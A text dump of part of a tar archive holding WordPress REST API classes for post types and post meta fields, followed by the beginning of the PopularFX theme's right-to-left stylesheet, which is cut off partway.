* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
return array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
);
}
}
endpoints/class-wp-rest-post-types-controller.php 0000666 00000032755 15221117310 0016303 0 ustar 00 <?php
/**
* REST API: WP_REST_Post_Types_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 4.7.0
*/
/**
* Core class to access post types via the REST API.
*
* @since 4.7.0
*
* @see WP_REST_Controller
*/
class WP_REST_Post_Types_Controller extends WP_REST_Controller {
/**
* Constructor.
*
* @since 4.7.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'types';
}
/**
* Registers the routes for post types.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P<type>[\w-]+)',
array(
'args' => array(
'type' => array(
'description' => __( 'An alphanumeric identifier for the post type.' ),
'type' => 'string',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => '__return_true',
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks whether a given request has permission to read types.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
if ( 'edit' === $request['context'] ) {
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( current_user_can( $type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_cannot_view',
__( 'Sorry, you are not allowed to edit posts in this post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves all public post types.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$data = array();
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) {
continue;
}
$post_type = $this->prepare_item_for_response( $type, $request );
$data[ $type->name ] = $this->prepare_response_for_collection( $post_type );
}
return rest_ensure_response( $data );
}
/**
* Retrieves a specific post type.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$obj = get_post_type_object( $request['type'] );
if ( empty( $obj ) ) {
return new WP_Error(
'rest_type_invalid',
__( 'Invalid post type.' ),
array( 'status' => 404 )
);
}
if ( empty( $obj->show_in_rest ) ) {
return new WP_Error(
'rest_cannot_read_type',
__( 'Cannot view post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit posts in this post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$data = $this->prepare_item_for_response( $obj, $request );
return rest_ensure_response( $data );
}
/**
* Prepares a post type object for serialization.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post_Type $item Post type object.
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$post_type = $item;
$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
$taxonomies = wp_list_pluck( $taxonomies, 'name' );
$base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
$namespace = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2';
$supports = get_all_post_type_supports( $post_type->name );
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( rest_is_field_included( 'capabilities', $fields ) ) {
$data['capabilities'] = $post_type->cap;
}
if ( rest_is_field_included( 'description', $fields ) ) {
$data['description'] = $post_type->description;
}
if ( rest_is_field_included( 'hierarchical', $fields ) ) {
$data['hierarchical'] = $post_type->hierarchical;
}
if ( rest_is_field_included( 'has_archive', $fields ) ) {
$data['has_archive'] = $post_type->has_archive;
}
if ( rest_is_field_included( 'visibility', $fields ) ) {
$data['visibility'] = array(
'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus,
'show_ui' => (bool) $post_type->show_ui,
);
}
if ( rest_is_field_included( 'viewable', $fields ) ) {
$data['viewable'] = is_post_type_viewable( $post_type );
}
if ( rest_is_field_included( 'labels', $fields ) ) {
$data['labels'] = $post_type->labels;
}
if ( rest_is_field_included( 'name', $fields ) ) {
$data['name'] = $post_type->label;
}
if ( rest_is_field_included( 'slug', $fields ) ) {
$data['slug'] = $post_type->name;
}
if ( rest_is_field_included( 'icon', $fields ) ) {
$data['icon'] = $post_type->menu_icon;
}
if ( rest_is_field_included( 'supports', $fields ) ) {
$data['supports'] = $supports;
}
if ( rest_is_field_included( 'taxonomies', $fields ) ) {
$data['taxonomies'] = array_values( $taxonomies );
}
if ( rest_is_field_included( 'rest_base', $fields ) ) {
$data['rest_base'] = $base;
}
if ( rest_is_field_included( 'rest_namespace', $fields ) ) {
$data['rest_namespace'] = $namespace;
}
if ( rest_is_field_included( 'template', $fields ) ) {
$data['template'] = $post_type->template ?? array();
}
if ( rest_is_field_included( 'template_lock', $fields ) ) {
$data['template_lock'] = ! empty( $post_type->template_lock ) ? $post_type->template_lock : false;
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $post_type ) );
}
/**
* Filters a post type returned from the REST API.
*
* Allows modification of the post type data right before it is returned.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Post_Type $post_type The original post type object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
}
/**
* Prepares links for the request.
*
* @since 6.1.0
*
* @param WP_Post_Type $post_type The post type.
* @return array Links for the given post type.
*/
protected function prepare_links( $post_type ) {
return array(
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
'https://api.w.org/items' => array(
'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ),
),
);
}
/**
* Retrieves the post type's schema, conforming to JSON Schema.
*
* @since 4.7.0
* @since 4.8.0 The `supports` property was added.
* @since 5.9.0 The `visibility` and `rest_namespace` properties were added.
* @since 6.1.0 The `icon` property was added.
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'type',
'type' => 'object',
'properties' => array(
'capabilities' => array(
'description' => __( 'All capabilities used by the post type.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'A human-readable description of the post type.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'hierarchical' => array(
'description' => __( 'Whether or not the post type should have children.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'viewable' => array(
'description' => __( 'Whether or not the post type can be viewed.' ),
'type' => 'boolean',
'context' => array( 'edit' ),
'readonly' => true,
),
'labels' => array(
'description' => __( 'Human-readable labels for the post type for various contexts.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
'name' => array(
'description' => __( 'The title for the post type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the post type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'supports' => array(
'description' => __( 'All features, supported by the post type.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
'has_archive' => array(
'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ),
'type' => array( 'string', 'boolean' ),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'taxonomies' => array(
'description' => __( 'Taxonomies associated with post type.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'rest_base' => array(
'description' => __( 'REST base route for the post type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'rest_namespace' => array(
'description' => __( 'REST route\'s namespace for the post type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'visibility' => array(
'description' => __( 'The visibility settings for the post type.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
'properties' => array(
'show_ui' => array(
'description' => __( 'Whether to generate a default UI for managing this post type.' ),
'type' => 'boolean',
),
'show_in_nav_menus' => array(
'description' => __( 'Whether to make the post type available for selection in navigation menus.' ),
'type' => 'boolean',
),
),
),
'icon' => array(
'description' => __( 'The icon for the post type.' ),
'type' => array( 'string', 'null' ),
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'template' => array(
'type' => array( 'array' ),
'description' => __( 'The block template associated with the post type.' ),
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'template_lock' => array(
'type' => array( 'string', 'boolean' ),
'enum' => array( 'all', 'insert', 'contentOnly', false ),
'description' => __( 'The template_lock associated with the post type, or false if none.' ),
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
return array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
);
}
}
fields/class-wp-rest-post-meta-fields.php 0000666 00000002334 15221117310 0014401 0 ustar 00 <?php
/**
* REST API: WP_REST_Post_Meta_Fields class
*
* @package WordPress
* @subpackage REST_API
* @since 4.7.0
*/
/**
* Core class used to manage meta values for posts via the REST API.
*
* @since 4.7.0
*
* @see WP_REST_Meta_Fields
*/
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {
/**
* Post type to register fields for.
*
* @since 4.7.0
* @var string
*/
protected $post_type;
/**
* Constructor.
*
* @since 4.7.0
*
* @param string $post_type Post type to register fields for.
*/
public function __construct( $post_type ) {
$this->post_type = $post_type;
}
/**
* Retrieves the post meta type.
*
* @since 4.7.0
*
* @return string The meta type.
*/
protected function get_meta_type() {
return 'post';
}
/**
* Retrieves the post meta subtype.
*
* @since 4.9.8
*
* @return string Subtype for the meta type, or empty string if no specific subtype.
*/
protected function get_meta_subtype() {
return $this->post_type;
}
/**
* Retrieves the type for register_rest_field().
*
* @since 4.7.0
*
* @see register_rest_field()
*
* @return string The REST field type.
*/
public function get_rest_field_type() {
return $this->post_type;
}
}
search_template_1775659388/style-rtl.css 0000666 00000071060 15221117310 0013550 0 ustar 00 /*!
Theme Name: PopularFX
Theme URI: https://popularfx.com
Author: Pagelayer
Author URI: https://pagelayer.com
Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to design your dream website !
Version: 1.2.6
License: LGPL v2.1
License URI: LICENSE
Text Domain: popularfx
Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, entertainment, full-width-template, one-column, two-columns, left-sidebar, e-commerce, right-sidebar, microformats, post-formats, theme-options, blog, rtl-language-support
Tested up to: 6.0
Requires PHP: 5.5
This theme is licensed under the LGPL v2.1.
Normalizing styles have been helped along thanks to the fine work of
Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/
*/
/*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Normalize
# Typography
# Elements
# Forms
# Navigation
## Links
## Menus
# Accessibility
# Alignments
# Widgets
# Content
## Posts and pages
## Comments
# Infinite scroll
# Media
## Captions
## Galleries
--------------------------------------------------------------*/
/*--------------------------------------------------------------
# Normalize
--------------------------------------------------------------*/
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in iOS.
*/
html {
line-height: 1.15;
-webkit-text-size-adjust: 100%;
}
/* Sections
========================================================================== */
/**
* Remove the margin in all browsers.
*/
body {
margin: 0;
}
/**
* Render the `main` element consistently in IE.
*/
main {
display: block;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box;
height: 0;
overflow: visible;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace;
font-size: 1em;
}
/* Text-level semantics
========================================================================== */
/**
* Remove the gray background on active links in IE 10.
*/
a {
background-color: transparent;
}
/**
* 1. Remove the bottom border in Chrome 57-
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none;
text-decoration: underline;
text-decoration: underline dotted;
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace;
font-size: 1em;
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Remove the border on images inside links in IE 10.
*/
img {
border-style: none;
}
/* Forms
========================================================================== */
/**
* 1. Change the font styles in all browsers.
* 2. Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
font-family: inherit;
font-size: 100%;
line-height: 1.15;
margin: 0;
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input {
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select {
text-transform: none;
}
/**
* Correct the inability to style clickable types in iOS and Safari.
*/
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button;
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* Correct the padding in Firefox.
*/
fieldset {
padding: 0.35em 0.75em 0.625em;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box;
color: inherit;
display: table;
max-width: 100%;
padding: 0;
white-space: normal;
}
/**
* Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
vertical-align: baseline;
}
/**
* Remove the default vertical scrollbar in IE 10+.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10.
* 2. Remove the padding in IE 10.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box;
padding: 0;
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield;
outline-offset: -2px;
}
/**
* Remove the inner padding in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button;
font: inherit;
}
/* Interactive
========================================================================== */
/*
* Add the correct display in Edge, IE 10+, and Firefox.
*/
details {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Misc
========================================================================== */
/**
* Add the correct display in IE 10+.
*/
template {
display: none;
}
/**
* Add the correct display in IE 10.
*/
[hidden] {
display: none;
}
/*--------------------------------------------------------------
# Typography
--------------------------------------------------------------*/
body,
button,
input,
select,
optgroup,
textarea {
color: #404040;
font-family: "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size: 1rem;
line-height: 1.5;
}
h1,
h2,
h3,
h4,
h5,
h6 {
clear: both;
}
p {
margin-bottom: 1.5em;
}
dfn,
cite,
em,
i {
font-style: italic;
}
blockquote {
margin: 0 1.5em;
}
address {
margin: 0 0 1.5em;
}
pre {
background: #eee;
font-family: "Courier 10 Pitch", courier, monospace;
font-size: 0.9375rem;
line-height: 1.6;
margin-bottom: 1.6em;
max-width: 100%;
overflow: auto;
padding: 1.6em;
}
code,
kbd,
tt,
var {
font-family: monaco, consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
font-size: 0.9375rem;
}
abbr,
acronym {
border-bottom: 1px dotted #666;
cursor: help;
}
mark,
ins {
background: #fff9c0;
text-decoration: none;
}
big {
font-size: 125%;
}
/*--------------------------------------------------------------
# Elements
--------------------------------------------------------------*/
/* Inherit box-sizing to more easily change it's value on a component level.
@link http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
*,
*::before,
*::after {
box-sizing: inherit;
}
html {
box-sizing: border-box;
}
body {
background-color:#f5f5f5;
}
hr {
background-color: #ccc;
border: 0;
height: 1px;
margin-bottom: 1.5em;
}
ul,
ol {
margin: 0 3em 1.5em 0;
}
ul {
list-style: disc;
}
ol {
list-style: decimal;
}
li > ul,
li > ol {
margin-bottom: 0;
margin-right: 1.5em;
}
dt {
font-weight: 700;
}
dd {
margin: 0 1.5em 1.5em;
}
img {
height: auto;
max-width: 100%;
}
figure {
margin: 1em 0;
}
table {
margin: 0 0 1.5em;
width: 100%;
}
/*--------------------------------------------------------------
# Forms
--------------------------------------------------------------*/
button,
input[type="button"],
input[type="reset"],
input[type="submit"] {
border: 1px solid;
border-color: #ccc #ccc #bbb;
border-radius: 3px;
background: #e6e6e6;
color: rgba(0, 0, 0, 0.8);
font-size: 0.75rem;
line-height: 1;
padding: 0.6em 1em 0.4em;
}
button:hover,
input[type="button"]:hover,
input[type="reset"]:hover,
input[type="submit"]:hover {
border-color: #ccc #bbb #aaa;
}
button:active,
button:focus,
input[type="button"]:active,
input[type="button"]:focus,
input[type="reset"]:active,
input[type="reset"]:focus,
input[type="submit"]:active,
input[type="submit"]:focus {
border-color: #aaa #bbb #bbb;
}
input[type="text"],
input[type="email"],
input[type="url"],
input[type="password"],
input[type="search"],
input[type="number"],
input[type="tel"],
input[type="range"],
input[type="date"],
input[type="month"],
input[type="week"],
input[type="time"],
input[type="datetime"],
input[type="datetime-local"],
input[type="color"],
textarea {
color: #666;
border: 1px solid #ccc;
border-radius: 3px;
padding: 3px;
}
input[type="text"]:focus,
input[type="email"]:focus,
input[type="url"]:focus,
input[type="password"]:focus,
input[type="search"]:focus,
input[type="number"]:focus,
input[type="tel"]:focus,
input[type="range"]:focus,
input[type="date"]:focus,
input[type="month"]:focus,
input[type="week"]:focus,
input[type="time"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="color"]:focus,
textarea:focus {
color: #111;
}
select {
border: 1px solid #ccc;
}
textarea {
width: 100%;
}
/*--------------------------------------------------------------
# Navigation
--------------------------------------------------------------*/
/*--------------------------------------------------------------
## Links
--------------------------------------------------------------*/
a {
color: #4169e1;
text-decoration: none;
}
a:visited {
color: #800080;
}
a:hover,
a:focus,
a:active{
color:#2196f3;
}
a:focus {
outline: thin dotted;
}
a:hover,
a:active {
outline: 0;
}
/*--------------------------------------------------------------
## Menus
--------------------------------------------------------------*/
.site-header{
background-color:#ffffff;
border-bottom: 1px solid #eaeaea;
position:relative;
margin-right: auto;
margin-left: auto;
padding: 0% 4%;
width: 100%;
}
.site-branding{
display:inline-block;
padding:10px;
width: 30%;
}
.site-title{
font-size:30px;
font-weight:500;
color:#212121;
margin:0px;
}
.site-title a{
font-weight:500;
color:#212121;
text-decoration:none;
text-transform:capitalize;
}
.site-description{
margin: 1px;
}
.main-navigation {
margin: 15px 0px;
padding: 0;
display:inline-block;
width: 68%;
vertical-align: top;
text-align: left;
}
.main-navigation .menu-item-has-children > ul{
position: absolute;
border: 1px solid #dfdfdf;
position: absolute;
top: -1000px;
}
.main-navigation ul {
min-width: 150px;
margin: 0;
padding: 0;
list-style: none;
}
.main-navigation li {
display: inline-block;
position: relative;
text-align: right;
}
.main-navigation li.focus > ul, .main-navigation li:hover > ul {
top: auto;
right: auto;
}
.main-navigation li li {
display: block;
}
.main-navigation li li.focus > ul, .main-navigation li li:hover > ul {
right: 100%;
top: 0;
}
.main-navigation a {
color: #000;
text-decoration: none;
display: block;
white-space: nowrap;
padding: 10px 15px;
}
.main-navigation a:hover,
.main-navigation li:hover > a,
.main-navigation .current-menu-item > a,
.main-navigation .current-menu-ancestor > a {
color: #0072b7;
}
.main-navigation .menu-item-has-children > a::before {
content: "";
position: absolute;
left: 0;
top: 50%;
transform: translateY(-50%);
border: 4px solid transparent;
border-top-color: currentColor;
}
.main-navigation ul .menu-item-has-children > a::before {
left: 2px;
border-top-color: transparent;
border-right-color: currentColor;
}
.main-navigation .menu-item-has-children .sub-menu{
background: #fff;
}
/* Small menu. */
.menu-toggle,
.main-navigation.toggled ul {
display: block;
}
@media screen and (min-width: 37.5em) {
.menu-toggle {
display: none;
}
}
.site-main .comment-navigation,
.site-main
.posts-navigation,
.site-main
.post-navigation {
margin: 0 0 1.5em;
}
.comment-navigation .nav-links,
.posts-navigation .nav-links,
.post-navigation .nav-links {
display: flex;
}
.comment-navigation .nav-previous,
.posts-navigation .nav-previous,
.post-navigation .nav-previous {
flex: 1 0 50%;
}
.comment-navigation .nav-next,
.posts-navigation .nav-next,
.post-navigation .nav-next {
text-align: end;
flex: 1 0 50%;
}
/*--------------------------------------------------------------
# Accessibility
--------------------------------------------------------------*/
/* Text meant only for screen readers. */
.screen-reader-text {
border: 0;
clip: rect(1px, 1px, 1px, 1px);
clip-path: inset(50%);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute !important;
width: 1px;
word-wrap: normal !important;
}
.screen-reader-text:focus {
background-color: #f1f1f1;
border-radius: 3px;
box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
clip: auto !important;
clip-path: none;
color: #21759b;
display: block;
font-size: 0.875rem;
font-weight: 700;
height: auto;
right: 5px;
line-height: normal;
padding: 15px 23px 14px;
text-decoration: none;
top: 5px;
width: auto;
z-index: 100000;
}
/* Do not show the outline on the skip link target. */
#primary[tabindex="-1"]:focus {
outline: 0;
}
/*--------------------------------------------------------------
# Alignments
--------------------------------------------------------------*/
.alignleft {
float: right;
margin-left: 1.5em;
margin-bottom: 1.5em;
}
.alignright {
float: left;
margin-right: 1.5em;
margin-bottom: 1.5em;
}
.aligncenter {
clear: both;
display: block;
margin-right: auto;
margin-left: auto;
margin-bottom: 1.5em;
}
/*--------------------------------------------------------------
# Widgets
--------------------------------------------------------------*/
.widget {
margin: 0 0 1.5em;
}
.widget select {
max-width: 100%;
}
.widget-area{
display:inline-block;
background-color:#ffffff;
padding:25px;
margin-top:30px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
}
.widget-title{
font-size:20px;
font-weight: 500;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget ul,
.widget ol{
margin-right:0px;
}
.widget li a{
text-decoration:none;
color:#212121;
font-size:14px;
line-height:1.8;
}
.widget li a:hover{
color:#2196f3;
}
.widget_calendar table,
.widget_calendar td,
.widget_calendar th {
padding: 0;
text-align: center;
border-spacing:0;
}
.widget_calendar td {
border-left: none;
border-right: none;
}
.widget_calendar .widget-title{
text-transform:capitalize;
}
.widget_calendar .wp-calendar-table caption{
margin:10px 0px;
}
.widget_calendar .wp-calendar-table tr td{
text-decoration:none;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table tr th{
text-decoration:none;
border-top:1px solid #e0e0e0;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table td a{
text-decoration:none;
}
/*--------------------------------------------------------------
# Content
--------------------------------------------------------------*/
/*--------------------------------------------------------------
## Posts and pages
--------------------------------------------------------------*/
.sticky {
display: block;
}
.post,
.page {
margin: 0;
}
.updated:not(.published) {
display: none;
}
.page-content,
.entry-content,
.entry-summary {
margin: 1.5em 0 0;
}
.page-links {
clear: both;
margin: 0 0 1.5em;
}
.site-main{
height: auto;
vertical-align: top;
margin:0px auto;
width:100%;
}
.article{
background-color:#ffffff;
padding:25px;
margin:30px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
}
.article .cat-links,
.article .comments-link,
.article .edit-link,
.article .tags-links{
margin:0px 10px 0px 0px;
text-decoration:underline;
}
.article .post-thumbnail img{
margin-top:20px;
}
.nav-links{
margin:0px 30px;
}
.nav-links a{
text-decoration:none;
}
.entry-title{
margin:5px 0px;
font-weight:500;
}
.entry-title a{
font-weight: 500;
text-decoration: none;
color: #4d4d4d;
}
.entry-title a:hover, .entry-title a:focus, .entry-title a:active{
color:#2196f3;
}
.entry-content{
font-size:16px;
line-height:1.8;
margin-top:0px;
}
.site{
background-color: transparent;
}
.site-footer{
background-color:#171717;
padding:40px 0px;
text-align:center;
margin-top:60px;
color:#ffffff;
clear: both;
}
.site-info a{
color:#ffffff;
text-decoration:none;
}
.site-info a:hover{
color:#2196f3;
text-decoration:none;
}
.wp-block-quote{
margin: 10px 40px 10px 10px;
padding: 15px 20px 15px 15px;
border-right: 5px solid #e0e0e0;
font-style:italic;
}
.error-404{
background-color:#ffffff;
padding:25px;
margin:40px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
text-align:center;
}
.error-code{
font-size:150px;
margin:0px;
font-weight:500;
}
.error-404 .widget_recent_entries,
.error-404 .widget_categories,
.error-404 .widget_archive{
width:33%;
display:inline-block;
vertical-align:top;
margin-top:5%;
}
.error-404 .widget_recent_entries ul,
.error-404 .widget_categories ul{
list-style-type:none;
padding-right:0px;
}
.widget_recent_entries .widgettitle,
.widget_categories .widgettitle,
.widget_archive .widgettitle{
font-size: 22px;
font-weight: 600;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget_archive select{
max-width: 100%;
width: 200px;
border-radius: 4px;
padding: 5px 10px;
height: 40px;
}
.error-404 .search-field{
display: block;
margin: 0 auto;
width: 350px;
padding: 10px;
border-radius: 4px;
}
.error-404 .search-submit{
font-size:16px;
padding: 10px 25px;
margin-top: 10px;
}
/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
margin: 0 7.6923% 3.5em;
background-color:#ffffff;
padding:20px 40px;
}
.comment-list + .comment-respond,
.comment-navigation + .comment-respond {
padding-top: 1.75em;
}
.comments-title,
.comment-reply-title {
font-size: 23px;
font-size: 1.4375rem;
font-weight: 500;
line-height: 1.3125;
}
.comments-title {
margin-bottom: 1.217391304em;
}
.comment-list {
list-style: none;
margin: 0;
padding:0;
}
.comment-list article,
.comment-list .pingback,
.comment-list .trackback {
border-top: 1px solid #212121;
padding: 1.75em 0;
}
.comment-list .children {
list-style: none;
margin: 0;
}
.comment-list .children > li {
padding-right: 0.875em;
}
.comment-author {
color: #1a1a1a;
}
.vcard .fn a{
color:#171717;
text-transform:capitalize;
font-size: 18px;
font-weight: 500;
text-decoration: none;
}
.comment-author .avatar {
float: right;
height: 40px;
margin-left: 0.875em;
position: relative;
width: 40px;
}
.comment-metadata {
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
}
.comment-metadata {
margin-bottom: 10px;
display:inline-block;
}
.comment-metadata a {
text-decoration:underline;
}
.comment-metadata a:hover,
.comment-metadata a:focus {
}
.comment-metadata .edit-link {
display: inline-block;
}
.comment-metadata .edit-link:before {
content: "\002f";
display: inline-block;
opacity: 0.7;
padding: 0 0.538461538em;
}
.comment-content{
font-size:16px;
font-weight:100;
line-height:1.8;
}
.comment-content ul,
.comment-content ol {
margin: 0 1.25em 1.5em 0;
}
.comment-content li > ul,
.comment-content li > ol {
margin-bottom: 0;
}
.comment-reply-link {
border-radius: 2px;
color: #ffffff;
background-color:#2196f3;
display: inline-block;
font-size: 13px;
font-size: 0.8125rem;
line-height: 1;
padding: 10px 20px;
text-decoration:underline;
}
.comment-reply-link:hover,
